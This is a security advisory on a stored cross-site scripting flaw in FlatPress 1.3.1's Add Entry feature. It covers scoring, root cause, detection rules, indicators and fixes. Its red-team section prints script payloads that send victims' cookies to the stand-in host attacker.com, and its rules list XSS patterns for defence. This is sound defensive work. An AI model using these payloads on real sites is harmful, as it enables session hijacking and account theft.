CVE-2025-25460

Executive Summary

CVE-2025-25460 identifies a stored Cross-Site Scripting (XSS) vulnerability in FlatPress 1.3.1, specifically within the "Add Entry" feature. An authenticated attacker can inject arbitrary JavaScript into the "TextArea" field of a blog post. When other users (including administrators) view the compromised entry, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The root cause is improper input sanitization of the blog entry content. No official patch has been released as of this analysis.

Supply Chain & Package Security

FlatPress is a flat-file CMS written in PHP. It does not rely on NPM, PyPI, Go, or Ruby packages. The vulnerability exists in the core application code, not in a third-party dependency. However, administrators should verify the integrity of their FlatPress installation files and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The attacker can exploit this remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – The attacker must have an authenticated user account.
• User Interaction (UI): Required – The victim must view the malicious blog post.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component (the victim's browser).
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content (e.g., defacement).
• Availability (A): None – No impact on system availability.

Threat Level: Medium. Exploitation requires authentication, but the impact can be significant if an administrator views the malicious post.

Deep Dive & Mechanics

The vulnerability resides in the blog entry submission process. When an authenticated user creates or edits a post, the content entered into the TextArea field is stored directly into a flat-file database (typically a .txt file in the fp-content/content/ directory). The application fails to sanitize or encode HTML/JavaScript before storage and subsequent display.

Attack Flow:

1. Attacker logs into FlatPress with valid credentials.
2. Attacker navigates to "Add Entry" and crafts a blog post containing a malicious JavaScript payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the flat-file database without sanitization.
4. When any user (including administrators) views the blog post, the browser renders the injected script.
5. The script executes, potentially stealing cookies, redirecting the user, or performing actions on behalf of the victim.

Root Cause: The TextArea input is not passed through a sanitization function like htmlspecialchars() or strip_tags() before being written to the file. The output is also not escaped when rendering the post.

Vulnerable vs. Patched Code

Vulnerable Code (FlatPress 1.3.1): In fp-content/content/ the blog entry is stored as raw text. The rendering code (likely in fp-includes/core/core.php or a theme file) outputs the content directly without escaping.

// Vulnerable: Direct output without sanitization
echo $entry['content'];

Patched Code (Hypothetical): The content should be sanitized on input and escaped on output.

// Input sanitization
$content = strip_tags($_POST['content'], '<p><br><b><i><u><a><img>'); // Allow only safe tags

// Output escaping
echo htmlspecialchars($entry['content'], ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of FlatPress 1.3.1.
• Valid user credentials (e.g., author:password).

Exploit Steps:

1. Log in to FlatPress.
2. Navigate to admin.php?p=entry&action=write.
3. In the "TextArea" field, enter a payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Set a title and publish the post.
5. When an administrator views the post, their session cookie is sent to the attacker's server.

Alternative Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal?data=' + document.cookie, true);
xhr.send();
</script>

Note: No public exploit code (Exploit-DB) is available for this CVE.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script> tags in POST data to admin.php.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Honeypot:

• Create a fake admin account with a monitored session cookie. If the cookie is exfiltrated, trigger an alert.

Lab Setup:

• Install FlatPress 1.3.1 in a Docker container.
• Use Burp Suite or OWASP ZAP to intercept and modify the "Add Entry" request.
• Verify the stored XSS by viewing the post as another user.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown domains containing cookie data.
• POST requests to admin.php with p=entry&action=write containing <script> tags.

File System IOCs:

• Blog entry files in fp-content/content/ containing JavaScript code.
• Modified .txt files with unexpected HTML/script content.

Log IOCs:

• Web server logs showing admin.php POST requests with content parameter containing <script>.
• Repeated access to the same blog entry from different IPs (potential victim visits).

Detection Engineering

YARA Rule

rule FlatPress_Stored_XSS_CVE_2025_25460 {
    meta:
        description = "Detects stored XSS payloads in FlatPress blog entry files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25460"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $on_event = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $javascript_uri = /javascript\s*:/is
    condition:
        $script_tag or $on_event or $javascript_uri
}

Sigma Rule

title: FlatPress Stored XSS via Add Entry
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects potential stored XSS attempts in FlatPress admin panel
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin.php*'
        cs-uri-query|contains: 'p=entry&action=write'
        cs-body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in blog posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25460 FlatPress Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"admin.php"; http_uri; content:"p=entry&action=write"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the "Add Entry" feature for non-admin users until a patch is applied.
2. Implement a WAF rule to block POST requests containing <script> tags to admin.php.
3. Manually sanitize input by editing the FlatPress source code:
   • In fp-includes/core/core.php, locate the function that saves blog entries.
   • Add $content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8'); before writing to the file.

Long-term Fix:

• Upgrade to a patched version of FlatPress once released.
• Consider migrating to a more actively maintained CMS.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious payloads:

  location /admin.php {
      if ($request_body ~* "<script") {
          return 403;
      }
  }
  

Valters IT – Securing digital frontiers, one CVE at a time.